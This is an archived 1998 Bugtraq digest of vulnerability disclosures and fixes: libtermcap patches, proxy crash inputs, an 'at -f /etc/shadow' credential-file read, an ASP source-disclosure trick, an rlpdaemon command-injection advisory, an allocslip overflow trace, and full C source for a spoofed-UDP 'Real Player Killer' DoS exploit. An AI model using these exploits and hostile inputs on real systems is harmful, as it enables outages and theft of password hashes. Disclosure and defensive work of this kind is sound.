(Message /3/bishop/Mail/inbox:101) Return-Path: owner-BUGTRAQ@NETSPACE.ORG Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143]) by nob.cs.ucdavis.edu (8.8.8/8.8.7) with ESMTP id VAA09011 for ; Mon, 6 Jul 1998 21:07:04 -0700 (PDT) (envelope-from owner-BUGTRAQ@NETSPACE.ORG) Received: from unknown@netspace.org (port 18793 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <80838-24912>; Tue, 7 Jul 1998 00:07:30 -0400 Date: Tue, 7 Jul 1998 00:05:14 -0400 Reply-To: Bugtraq List Sender: Bugtraq List From: Automatic digest processor Subject: BUGTRAQ Digest - 3 Jul 1998 to 6 Jul 1998 To: Recipients of BUGTRAQ digests Message-Id: <19980707040730Z80838-24912+30@brimstone.netspace.org> There are 14 messages totalling 1018 lines in this issue. Topics of the day: 1. SECURITY: redhat, the saga continues.. (2) 2. Windows95 Proxy DoS Vulnerabilites 3. SmurfLog 1.0 4. more about 'at' 5. More potential ASP problems (3) 6. SECURITY: RedHat: The saga continues 7. RSI.0006.06-25-98.HP-UX.RLPDAEMON 8. allocslip 9. Sun libnsl lameness 10. UPDATE: SSH insertion attack 11. [rootshell] Security Bulletin #20 ---------------------------------------------------------------------- Date: Thu, 2 Jul 1998 23:29:10 -0700 From: Jim Bourne Subject: Re: SECURITY: redhat, the saga continues.. On Thu, 2 Jul 1998, twiztah wrote: > Security problems have been found in dosemu and libtermcap. These security > problems allow users on your local system to gain root access, and should > be fixed as soon as possible. > Under redhat 4.2 running both libc-5.3.12 and libc-5.4.44 the termcap-2.0.8-setuid.patch I believe was incorrect and will cause any program using libtermcap to fail if the user is not root. I corrected the patch to work on our systems, if this is incorrect please, correct me :) Regards, Jim --- termcap-2.0.8/termcap.c~ Tue Apr 16 04:23:23 1996 +++ termcap-2.0.8/termcap.c Thu Jul 2 23:26:54 1998 @@ -366,8 +366,18 @@ printf("Using file %s\n", tc_file); #endif + if(setfsuid(getuid()) != getuid()) + return NULL; + if(setfsgid(getgid()) != getgid()) + return NULL; /* Now read the termcap file. */ - if ((fp = fopen(tc_file, "r")) == NULL) return(NULL); + fp = fopen(tc_file, "r"); + + setfsuid(geteuid()); + setfsgid(getegid()); + + if(fp==NULL) + return(NULL); while(term) { if (++loop > 16) { -- James Bourne | Email: jbourne@hardrock.org No. 2 Harbourview Ventures Ltd. | WWW: http://www.hardrock.org/ Everything Unix | Linux-The choice of a GNU generation ---------------------------------------------------------------------- Unix System Administration, System programming, Network Administration ------------------------------ Date: Thu, 2 Jul 1998 20:37:32 -0500 From: Ryan Nichols Subject: Windows95 Proxy DoS Vulnerabilites While playing with a proxy server the other day, I have accidently stumbled across two remote bugs in numerous proxy servers. Those affected are "WinGate and StarTech". Both companies have been previously notified of their vulnerability, and in WinGate's case I guess it has been patched already. The bug is pretty straight forward, telnet to the proxy server at its pop3 port and type For WinGate: USER x#99999..... With lots of nine's, the proxy server stops responding and needs to be restarted. For Startech: USER x<9999999.....> Once again, as many nines as possible, startech quits responding. In Startech's case, this can also be done in the telnet daemon part of it also... Havent tried much others... My Startech proxy server did not have a version number on it, and the Wingate's wasn't available. Sorry, I will try to get this in tommarrow if neccessary... -Ryan (ryann@the-bridge.net / http://www.the-bridge.net/~ryann) ------------------------------ Date: Fri, 3 Jul 1998 03:21:02 -0400 From: Bug Lord Subject: SmurfLog 1.0 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-1654306615-899450462=:503 Content-Type: TEXT/PLAIN; charset=US-ASCII >From the README: Program ------- SmurfLog 1.0 by Bug Lord. A program to assist logging of smurf attacks. Purpose ------- This program is designed to log smurf attacks and the broadcasts used. Essentially it is just an icmp echo reply logger with the following twists: - Logging only begins after passing a certain threshold rate of packets/sec and kilobytes/sec. This prevents the logging of innocent ping replies. - Only the /24 is logged, and it is only logged once per attack. Before this program, if you wanted to log the smurf broadcasts used during an attack, you had to either get to the machine attacked and start an icmp logger, or run one continuously and have lots of drive space available. During an average strength smurf attack the log files can reach sizes of 800mb or more in 10-15 minutes. You must then go through the hassle of greping, awking, sorting, and uniqing the logs to get the appropriate /24 to mail. Not exactly a pleasant task, and not everyone can get to the machine in time or leave a icmp logger running and pray that nobody decides to DoS them with random source pings or such. SmurfLog solves this problem by providing a simple, low-cpu usage system that records only unique /24's. It can safely be left running on any system and will (should) record only broadcasts used during a legitimate smurf attack. Of course you are required to use a little common sense. If you ping out while under attack and successfully receive a reply it will be included with the other ips, and of course don't be surprised if you end up with things like 10.0.0.0 0.0.0.0 255.255.255.255 etc, but you knew that already. Platforms --------- Fully tested on Linux (libc5 and libc6), compiles on FreeBSD, OpenBSD, and Solaris. Thanks to all those who donated accounts. How to use ---------- Edit config.h, compile: Linux: gcc -O2 -o smurflog smurflog.c BSD: gcc -O2 -o smurflog smurflog.c Solaris: cc -o smurflog smurflog.c -lnsl -lsocket By default everything goes to stdout, so you'll most likely want to redirect that to a log file and background it. Thanks to --------- Thanks to moogle and Temp for their assistance, and habit for the spell check as usual. Contact ------- IRC: Bug_Lord (EFnet) EMAIL: buglord@sy.net Latest Version -------------- The latest version of SmurfLog can be found at http://www.sy.net/security Shameless Plug -------------- Visit http://shell.sy.net for the most affordable, reliable, stable, and secure shells available to mere mortals. --0-1654306615-899450462=:503 Content-Type: APPLICATION/octet-stream; name="smurflog-1.0.tar.gz" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: SmurfLog 1.0 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 --0-1654306615-899450462=:503-- ------------------------------ Date: Fri, 3 Jul 1998 13:21:03 -0500 From: Chris Adams Subject: Re: SECURITY: redhat, the saga continues.. Once upon a time, twiztah wrote > Security problems have been found in dosemu and libtermcap. These security > problems allow users on your local system to gain root access, and should > be fixed as soon as possible. Beware the fix to libtermcap. Sure, it closes the root hole, but it also keeps users from running most programs that use libtermcap. The patch includes if(setfsuid(getuid())) return NULL; The setfsuid(getuid()) will always succeed (so the test is not necessary), but it returns the previous fsuid on success. That will only be 0 when the program is setuid-root or being run by root, so for most programs run by normal users, the call to open the termcap file fails. Change the patch to just be setfsuid(getuid()); and it will work fine. The same goes for the setfsgid() call. -- Chris Adams - cadams@ro.com System Administrator - Renaissance Internet Services I don't speak for anybody but myself - that's enough trouble. ------------------------------ Date: Fri, 3 Jul 1998 22:14:14 +0200 From: "J.A. Gutierrez" Subject: more about 'at' I've tried the trick from NetBSD Security Advisory 1998-004 on an IRIX 6.2 host, and it seems it works too. $ at -f /etc/shadow now + 1 minute -> shadow is mailed to user: 'at' is: f 23947 91 patchSG0002866.eoe_sw.unix m usr/bin/at there is an earlier patch for a buffer overrun on at, I guess the fix is also included in patchSG0002866; but the '-f' bug is still present. (IRIX 5.3 has no problem since its 'at' lacks of '-f' switch) -- finger spd@gtc1.cps.unizar.es for PGP / So be easy and free .mailcap tip of the day: / when you're drinking with me application/ms-tnef; cat '%s' > /dev/null / I'm a man you don't meet every day text/x-vcard; cat '%s' > /dev/null / (the pogues) ------------------------------ Date: Fri, 3 Jul 1998 14:04:09 +0200 From: Fred Donck Subject: More potential ASP problems All, Apart from the reported ASP problems on both bugtraq and ntbugtraq one of my colleques pointed me to some more exploit which may be just as bad. I haven't seen any mention of it yet to both the lists Apart from the http://www.domain.com/xxxx.asp::$DATA in ASP applications there may also a http://www.domain.com/global.asa which may contain session variables and user-id/password combinations for entering databases and the like. If not patched this is also subject to the vulnerabilities. my $0.02, Fred -- -------------------- My opinions are my own ---------------------------- Fred Donck | E-mail: f.c.w.donck@siep.shell.com (work) Technical Consultant | fred@donck.com, Voice/Fax : +31-70-3112374 | fred@realit.com (private) --- Idle cycles are a waste !! Check http://www.distributed.net/rc5 ---- ------------------------------ Date: Fri, 3 Jul 1998 23:22:58 +0100 From: Chris Evans Subject: Re: SECURITY: RedHat: The saga continues Hi, Well, when a post has the title "redhat: the saga continues", I feel obliged to respond in case public opinion is being influenced. The reason for the recent slew of RedHat errata updates, is a new _proactive_ search for security holes, headed by some rather clueful people of the LSAP (Linux Security Audit Project). [see below] Of especial note, most of the holes we find are _generic holes_, affecting most Linux distributions. Some holes are _very_ generic holes, affecting *BSD (including sometimes OpenBSD), and Sun's Solaris appears to be affected by a lot of stuff we find. We welcome feedback from any other systems! RedHat should be praised for their rapid security updates. For example I don't see other vendors rushing to release official updates for the commonly used bootp and dhcp packages, both of which have remote root holes in them. Before anyone levels accusations of hoarding security fixes to ourselves... please note that co-ordinating this audit beast is tricky. The project is young and still a bit disorganised. No-one has the "official" role of trying to get our finds publicised. However a few of us appear to have good communications going with OpenBSD, Debian linux, and possibly even a contact in Sun. Of course, most of our holes found (with clearly segregated patches too, aren't you lucky) are elaborated on in RedHat's errata update packages. I'm sure people/organisations will agree the minor time needed to check these updates, usually clearly labelled "SECURITY", is nothing compared with risking shipping very vulnerable daemons, etc. Just to emphasize the point I'll grumble at the people who accused OpenBSD of not sharing security fixes, when they have their uptodate CVS tree completely browseable on the web! Finally I'll risk telling you the address of our audit mailing list. Before even _thinking_ of subscribing, know that it's fairly high volume, and is NOT packed with sploits/holes. It's more general discussion. We like to post and discuss bits of dubious code and/or principles. We also like to discuss which open-source packages need a bit of source auditing, then get someone to volunteer to take a look. First, the _unsubscribe_ address. The amount of morons that can't work our unsubscribe is amazing. security-audit-unsubscribe@ferret.lmh.ox.ac.uk To subscribe: security-audit-subscribe@ferret.lmh.ox.ac.uk To post: security-audit@ferret.lmh.ox.ac.uk And finally, again, _please_ don't join unless you're actually interested in improving security through better coding practices or analysing/fixing up code. We're an audit list not a "sploit of the day" or "help how do i secure/hack/fix a system" list. Cheers Chris ------------------------------ Date: Mon, 6 Jul 1998 10:13:36 -0700 From: RSI Advise Subject: RSI.0006.06-25-98.HP-UX.RLPDAEMON RSI.0006.06-25-98.HP-UX.RLPDAEMON |:::. |::::: |::::. |::::: |::::: |::::. .. :: .. .. :: .. .. .. :: |:::: |:::: |:::: :::::: |::::: |:::: |: |: :: |: |: |:: |: |: :: |: :: |::::: |: |::::: |::::: |::::: Repent Security Incorporated, RSI [ http://www.repsec.com ] *** RSI ALERT ADVISORY *** --- [CREDIT] -------------------------------------------------------------- Bathead Brian: Discovered vulnerability, co-authored advisory Mark Zielinski: Author of advisory --- [SUMMARY] ------------------------------------------------------------- Announced: June 25, 1998 Report code: RSI.0005.06-25-98.HP-UX.RLPDAEMON Report title: HP-UX rlpdaemon Vulnerability: Several vulnerabilities have been discovered which could potentially allow remote access to the server Vendor status: Vendor notified on 06-28-98 Patch status: No patch is currently available Platforms: HP-UX 9.x, 10.x Vulnerable: HP-UX systems running rlpdaemon Reference: http://www.repsec.com/advisories.html Impact: If exploited, an attacker could potentially compromise lp access and create files on the server remotely --- [DETAILS] ------------------------------------------------------------- Problem: Vulnerabilities: ~~~~~~~~~~~~~~~~ #1: The argument in the Unlink Data File section of the control file gets passed to /bin/rm by a system () call. This argument should normally be a filename, however, a semi-colon and an arbitrary command can be appended allowing you to execute commands as user lp. #2: When the client passes a file to the rlpdaemon, no sanity checks are performed to ensure the validity of the filename. This allows for a remote attacker to send any file s/he wants and have it stored in the user lp's home directory. #3: The rlpdaemon will allow remote connections from any source port. This violates the lpd behavior recommended in RFC-1179 which explicitly states that only source ports of 721-731 should be allowed to access the daemon. --- [FIX] ----------------------------------------------------------------- Solution: Disable the rlpdaemon and use networked printers. 1. su to the ROOT account 2. kill -9 `ps -fu root | grep -i rlpdaemon | awk '{print $2}'` 3. edit /etc/inetd.conf with your favorite editor 4. place a # infront of the line reading as follows: printer stream tcp nowait root /usr/sbin/rlpdaemon rlpdaemon -i 5. kill -HUP `ps -fu root | grep -i inetd | awk '{print $2}'` --- [PATCH] --------------------------------------------------------------- Solution: Wait for Hewlett-Packard to release an official patch. --------------------------------------------------------------------------- Repent Security Incorporated (RSI) 13610 N. Scottsdale Rd. Suite #10-326 Scottsdale, AZ 85254 E-mail: advise@repsec.com WWW: http://www.repsec.com FTP: ftp://ftp.repsec.com --------------------------------------------------------------------------- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQCNAzU6dqAAAAEEAOHt9a5vevjD8ZjsEmncEbFp2U7aeqvPTcF/8FJMilgOVp75 dshXvZixHsYU7flgCNzA7wLIQPWBQBrweLG6dx9gE9e5Ca6yAJxZg8wNsi06tZfP nvmvf6F/7xoWS5Ei4k3YKuzscxlyePNNKws6uUe2ZmwVoB+i3HHT44dOafMhAAUT tBpSZXBTZWMgPGFkdmlzZUByZXBzZWMuY29tPg== =ro8H -----END PGP PUBLIC KEY BLOCK----- Copyright June 1998 RepSec, Inc. The information in this document is provided as a service to customers of RepSec, Inc. Neither RepSec, Inc., nor any of it's employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process contained herein, or represents that its use would not infringe any privately owned rights. Reference herein to any specific commercial products, process, or services by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by RepSec, Inc. The views and opinions of authors express herein do no necessarily state or reflect those of RepSec, Inc., and may not be used for advertising or product endorsement purposes. The material in this alert advisory may be reproduced and distributed, without permission, in whole or in part, by other security incident response teams (both commercial and non-commercial), provided the above copyright is kept intact and due credit is given to RepSec, Inc. This alert advisory may be reproduced and distributed, without permission, in its entirety only, by any person provided such reproduction and/or distribution is performed for non-commercial purposes and with the intent of increasing the awareness of the Internet community. --------------------------------------------------------------------------- RepSec, Inc. are trademarks of RepSec, Inc. All other trademarks are property of their respective holders. ------------------------------ Date: Sat, 4 Jul 1998 11:10:54 -0500 From: CyberPsychotic Subject: allocslip I have the feeling that allocslip in dslip package has overflow in it, (since it's setuid it should bring a rootshell with careful exploit). Here's how i tested it: pakage Dslip, version 2.03 (sunsite.unc.edu/pub/Linux/system/Network/serial/dslip203.tgz) The package is rather old, but I found it being used on some Linux machines around. gdb allocslip GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) run b_s `perl -e ' printf "A" x 300'` [usual GDB mesages] GO! sh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: command not found Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info registers shows: ebp 0x41414141 0x41414141 esi 0x40001fb0 1073749936 edi 0x80487f8 134514680 eip 0x41414141 0x41414141 obviously stack is smashed. ------------------------------ Date: Fri, 3 Jul 1998 10:38:51 -0700 From: Matt Conover Subject: Re: Sun libnsl lameness On Fri, 3 Jul 1998, Andy Polyakov wrote: > First of all it looks like information provided in RSI bulletin is not > accurate. 'getkeys_nis' looks quite innocent to me Yes and No. You're right that it looks quite innocent. And in reality, I doubt it will be exploited. However, the potential is there. If it is, for example, cached information (assuming you can), the possibility exists. I doubt there is much need for concern. But the advisory listed all potential(ly) vulnerable function(s), and that is why this was included. > Should I think of a patch, people? The only thing one can do is to > fetch key-pair before calling 'getsecretkey' and make sure it's not > longer than 1K or something:-) The vulnerabilities have nothing to do with sshd. In most cases, I don't think the programs that are calling the vulnerable functions are in fault for assuming the library functions are safe. All that can really be done for now is bounds checking where it applies, as you had mentioned. If you feel obligated to prevent overflows at the library level.. feel free to. Just for your information, two of the vulnerable key functions in libnsl, getsecretkey and getpublickey, are also vulnerable in libc. But still, it's the libraries that need to be fixed, not ssh or sshd. Matt ***************************************************************************** Matt Conover RSI R&D Team ----------------------------------------------------------------------------- RepSec, Inc. (RSI) [http://www.repsec.com] w00w00 Security Development (WSD) [http://www.w00w00.org] ***************************************************************************** ------------------------------ Date: Fri, 3 Jul 1998 20:09:35 -0300 From: Ivan Arce Subject: UPDATE: SSH insertion attack -----BEGIN PGP SIGNED MESSAGE----- - ------------------------------------------------------------------------------- CORE SDI S.A. Buenos Aires, Argentina Update on SSH insertion attack July 3rd, 1998 - ------------------------------------------------------------------------------- A new patch for the detection of the SSH insertion attack published by CORE on June 11th. is now available at: The new patch fixes two problems originally mentioned in comp.security.ssh by David Jones that were found to have certain implications on the reliability of the attack detection. It is strongly recommended to apply the new patch. MD5 hashes for the available files are provided below: MD5 (ssh-1.2.25-core.tar.gz) = 9cc2adf10e8c2563db1d70a24ac4b2cd MD5 (ssh-1.2.23-core-b.tar.gz) = 328583fc8356b96a4b3c629260685965 MD5 (ssh-1.2.23-core-b.tar.Z) = f8210154b07116cd70ffe77bffbc9463 MD5 (ssh-1.2.25.tar.Z) = 3c171a91d6eab639f6ea06e62be53b85 MD5 (ssh-1.2.23b.patch) = 882c36fd589a863927a8ef48d456dfef MD5 (ssh-1.2.25.patch) = 57b2d84116642fd3135dc641045445df Patches apply to the original SSH distributions 1.2.23 and 1.2.25 Additionally, a more technical description of the attack is provided at the same URL. $Id: ssh-addenum.txt,v 1.1 1998/07/03 20:22:32 iarce Exp $ - -- ==============================[ CORE Seguridad de la Informacion S.A. ]======= Ivan Arce Gerencia de Tecnologia Email : ivan@core-sdi.com Av. Santa Fe 2861 5to C TE : +54-1-821-1030 CP 1425 FAX : +54-1-821-1030 Buenos Aires, Argentina Mensajeria: +54-1-317-4157 ============================================================================== -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv iQCVAwUBNZ1RxfnO/LnPTgz1AQGYUgP/dqd+1cC9aLLuAgbOcYn2QaRFtuZKKiHL 58yjJPW5uYWfQB9qh5zEXEXTPc76/cNqQgY303JqWkrkIjOQ8ZG3lLqlPpBCHKRF NIVKY5mMZBOZ6O8G1Cp4lzlaWycq2+03yKElO3wnHnJkic3+w98AF223kNLjvkmX JAeEaYIUUzw= =WvWJ -----END PGP SIGNATURE----- ------------------------------ Date: Mon, 6 Jul 1998 17:16:39 -0500 From: Aleph One Subject: [rootshell] Security Bulletin #20 Date: 6 Jul 1998 15:31:00 -0000 From: announce-outgoing@rootshell.com Cc: recipient list not shown: ; Subject: [rootshell] Security Bulletin #20 www.rootshell.com Security Bulletin #20 July 6th, 1998 [ http://www.rootshell.com/ ] ---------------------------------------------------------------------- To unsubscribe from this mailing list send e-mail to majordomo@rootshell.com with "unsubscribe announce" in the BODY of the message. Send submissions to info@rootshell.com. Messages sent will not be sent to other members on this list unless it is featured in a security bulletin. An archive of this list is available at : http://www.rootshell.com/mailinglist-archive ---------------------------------------------------------------------- 01. Real Player 5.0 Killer -------------------------- Real Networks has been notified of the problem and has stated that they will make a fix for their upcoming G2 release and are considering making a patch available for all of the 5.0 players out there. The only available workaround at this time is to force your player to use TCP instead of UDP for streams in the transport area of the preferences menu. /* * Real Player Killer - 6/26/98 * * (C) 1998 Kit Knox * * [ http://www.rootshell.com/ ] * * Real Player 5.0 for Windows95 and Linux (others untested) do not check * the validity of incoming UDP packets used when receiving audio/video. * * If you are able to determine or brute force the destination port of the * stream you are able to crash the player and cause it to use 100% of * idle CPU. I would not be surprised if there are numerous buffer * overflows in this area as well. The client does not even check if the * source IP address is the one it is receiving data from. Any source IP * can be used. * * Generally the stack will start with port 1025 and go up. Starting there * and going up will generally give you good results. If you are able to * sniff the network you will know the exact port and not have to guess. * */ #include #include #include #include #include #include #include #include #include #include #include #define err(x) { fprintf(stderr, x); exit(1); } #define errs(x, y) { fprintf(stderr, x, y); exit(1); } char real_data[] = { 0x00, 0x00 }; unsigned short in_cksum (addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } int sendpkt_udp (sin, s, data, datalen, saddr, daddr, sport, dport) struct sockaddr_in *sin; unsigned short int s, datalen, sport, dport; unsigned long int saddr, daddr; char *data; { struct iphdr ip; struct udphdr udp; static char packet[8192]; char crashme[500]; int i; ip.ihl = 5; ip.version = 4; ip.tos = rand () % 100;; ip.tot_len = htons (28 + datalen); ip.id = htons (31337 + (rand () % 100)); ip.frag_off = 0; ip.ttl = 255; ip.protocol = IPPROTO_UDP; ip.check = 0; ip.saddr = saddr; ip.daddr = daddr; ip.check = in_cksum ((char *) &ip, sizeof (ip)); udp.source = htons (sport); udp.dest = htons (dport); udp.len = htons (8 + datalen); udp.check = (short) 0; memcpy (packet, (char *) &ip, sizeof (ip)); memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp)); memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen); for (i = 0; i < 500; i++) crashme[i] = rand () % 255; memcpy (packet + sizeof (ip) + sizeof (udp) + datalen, crashme, 500); return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen + 500, 0, (struct sockaddr *) sin, sizeof (struct sockaddr_in))); } unsigned int lookup (host) char *host; { unsigned int addr; struct hostent *he; addr = inet_addr (host); if (addr == -1) { he = gethostbyname (host); if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL)) return 0; bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list)); } return (addr); } void main (argc, argv) int argc; char **argv; { unsigned int saddr, daddr; struct sockaddr_in sin; int s, i; if (argc != 5) errs ("Usage: %s \n", argv[0]); printf("Real Player Killer - http://www.rootshell.com/\n\n"); if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) err ("Unable to open raw socket.\n"); if (!(saddr = lookup (argv[1]))) err ("Unable to lookup source address.\n"); if (!(daddr = lookup (argv[2]))) err ("Unable to lookup destination address.\n"); sin.sin_family = AF_INET; sin.sin_port = 9; sin.sin_addr.s_addr = daddr; for (i=atoi(argv[3]); i Subject: Re: More potential ASP problems f.c.w.donck@SIEP.SHELL.COM said: > Apart from the http://www.domain.com/xxxx.asp::$DATA in ASP applications > there may also a http://www.domain.com/global.asa which may contain session > variables and user-id/password 